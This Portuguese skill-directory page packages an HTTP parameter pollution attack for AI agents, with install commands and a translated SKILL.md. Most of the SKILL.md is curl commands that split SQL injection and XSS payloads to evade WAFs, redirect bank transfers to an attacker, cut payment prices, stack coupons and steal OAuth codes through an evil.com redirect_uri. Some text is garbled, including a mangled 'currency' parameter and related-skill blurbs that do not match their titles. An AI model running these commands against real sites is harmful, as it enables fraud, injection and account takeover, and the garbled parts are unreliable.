performing-http-parameter-pollution-attack
Ajuda seu agente a testar ataques de poluição de parâmetros HTTP para contornar validações de segurança.
O que ela faz
Este recurso ajuda a testar a segurança de sites e aplicativos. Ele envia parâmetros duplicados para ver se o site reage de forma inesperada, o que pode indicar uma falha de segurança.
Quando usar
- ✓Ao testar a segurança de um site.
- ✓Para verificar se um site pode ser enganado.
- ✓Ao tentar entender como um site lida com informações repetidas.
Exemplo do que pedir para a IA
“Teste se o site pode ser enganado com parâmetros duplicados.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
O recurso envia o mesmo 'nome' de parâmetro várias vezes em uma requisição. Diferentes sistemas de site processam esses nomes repetidos de maneiras distintas, o que pode revelar vulnerabilidades.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-http-parameter-pollution-attackOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-http-parameter-pollution-attack/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Realizando Ataque de Poluição de Parâmetros HTTP
Quando Usar
- Ao testar aplicações web em busca de vulnerabilidades de bypass de validação de entrada
- Durante testes de evasão de WAF para dividir payloads de ataque entre parâmetros duplicados
- Ao avaliar como diferentes pilhas de tecnologia lidam com parâmetros HTTP duplicados
- Durante testes de segurança de API para identificar problemas de precedência de parâmetros
- Ao testar fluxos de OAuth ou processamento de pagamentos em busca de manipulação de parâmetros
Pré-requisitos
- Burp Suite Professional com os módulos Intruder e Repeater
- Compreensão do protocolo HTTP e da análise de query string
- Conhecimento das diferenças de tratamento de parâmetros no lado do servidor (primeiro, último, array, concatenado)
- cURL ou httpie para criação manual de parâmetros
- Identificação da pilha de tecnologia da aplicação alvo (Apache, IIS, Tomcat, Node.js, etc.)
Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.
Fluxo de Trabalho
Passo 1 — Identificar o Comportamento de Tratamento de Parâmetros
# Test how the server handles duplicate parameters
# Different servers process duplicates differently:
# Apache/PHP: Last parameter value
# ASP.NET/IIS: All values concatenated with comma
# JSP/Tomcat: First parameter value
# Node.js/Express: Array of values
# Python/Flask: First parameter value
curl -v "http://target.com/search?q=first&q=second"
# Observe which value the application uses in the response
# Test POST body duplicate parameters
curl -X POST http://target.com/api/action \
-d "amount=100&amount=1"
Passo 2 — Realizar HPP no Lado do Servidor
# Bypass input validation by splitting payload
# Original blocked payload: id=1 OR 1=1
curl "http://target.com/api/user?id=1%20OR%201%3D1" # Blocked by WAF
# HPP bypass: split across duplicate parameters
curl "http://target.com/api/user?id=1%20OR&id=1%3D1" # May bypass WAF
# Parameter pollution in POST body
curl -X POST http://target.com/transfer \
-d "to_account=victim&amount=100&to_account=attacker"
# Override security-critical parameters
curl -X POST http://target.com/api/payment \
-d "price=99.99¤cy=USD&price=0.01"
Passo 3 — Realizar HPP no Lado do Cliente
# Client-side HPP via URL manipulation
# If application reflects parameters in links:
# Original: http://target.com/page?param=value
# Inject: http://target.com/page?param=value%26injected_param=evil_value
# Social sharing URL manipulation
curl "http://target.com/share?url=http://legit.com%26callback=http://evil.com"
# Inject into embedded links
curl "http://target.com/redirect?url=http://trusted.com%26token=stolen_value"
Passo 4 — Evasão de Regras de WAF Usando HPP
# WAF typically inspects individual parameter values
# Split SQL injection across parameters
curl "http://target.com/search?q=1' UNION&q=SELECT password FROM users--"
# Split XSS payload
curl "http://target.com/search?q=<script>&q=alert(1)</script>"
# URL-encoded HPP bypass
curl "http://target.com/api/data?filter=admin%26role=superadmin"
# HPP in HTTP headers
curl -H "X-Forwarded-For: 127.0.0.1" \
-H "X-Forwarded-For: attacker-ip" \
http://target.com/api/admin
Passo 5 — Testar HPP em Fluxos de OAuth e Pagamento
# OAuth authorization code HPP
# Inject duplicate redirect_uri to steal authorization code
curl "http://target.com/oauth/authorize?client_id=legit&redirect_uri=https://legit.com/callback&redirect_uri=https://evil.com/steal"
# Payment amount manipulation
curl -X POST http://target.com/api/checkout \
-d "item=product1&price=100&quantity=1&price=1"
# Coupon code HPP
curl -X POST http://target.com/api/apply-coupon \
-d "coupon=SAVE10&coupon=SAVE90&coupon=FREE"
Passo 6 — Automatizar Testes de HPP
# Use Burp Intruder with parameter duplication
# In Burp Repeater, manually add duplicate parameters
# Use param-miner Burp extension for automated discovery
# Test with OWASP ZAP HPP scanner
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' \
http://target.com
# Custom testing with Python
python3 hpp_tester.py --url http://target.com/api/action \
--params "id,role,amount" --method POST
Conceitos Chave
| Conceito | Descrição |
|---|---|
| HPP no Lado do Servidor | Parâmetros duplicados processados de forma diferente pelo backend, causando bypass de lógica |
| HPP no Lado do Cliente | Parâmetros injetados refletidos em URLs/links enviados para outros usuários |
…
Perguntas frequentes
O que é um ataque de Poluição de Parâmetros HTTP (HPP)?
É uma técnica de teste de segurança onde se enviam parâmetros duplicados para um site para ver se ele os interpreta de forma diferente do esperado, potencialmente expondo falhas.
Por que enviar parâmetros duplicados é importante?
Porque o sistema de segurança (como um firewall) pode ver um parâmetro de uma forma, mas o sistema principal do site pode interpretá-lo de outra, permitindo que ataques passem despercebidos.
Preciso ser um especialista em programação para usar isso?
Não é necessário ser um programador experiente, mas é útil ter uma noção básica de como a internet funciona e como os sites recebem informações.
Detalhes
Descrição original do autor
Executes HTTP Parameter Pollution attacks that inject duplicate request parameters to bypass input validation, WAF rules, and other security controls when front-end and back-end systems parse duplicate parameters differently. Use during web application penetration testing to test for parameter parsing inconsistencies or WAF/validation bypass.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6078
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
cpp-testing
Faz seu agente escrever e melhorar testes para código C++. Ajuda a configurar ferramentas de teste e a corrigir erros.
affaan-m/ECC
csharp-testing
Ajuda seu agente a criar testes para código C# e .NET. Ele usa as melhores práticas para garantir que os testes sejam eficientes e confiáveis.
affaan-m/ECC
django-tdd
Faz seu agente aplicar estratégias de teste para Django com pytest-django e TDD. É útil para escrever testes robustos e garantir a qualidade do código, especialmente para APIs DRF.
affaan-m/ECC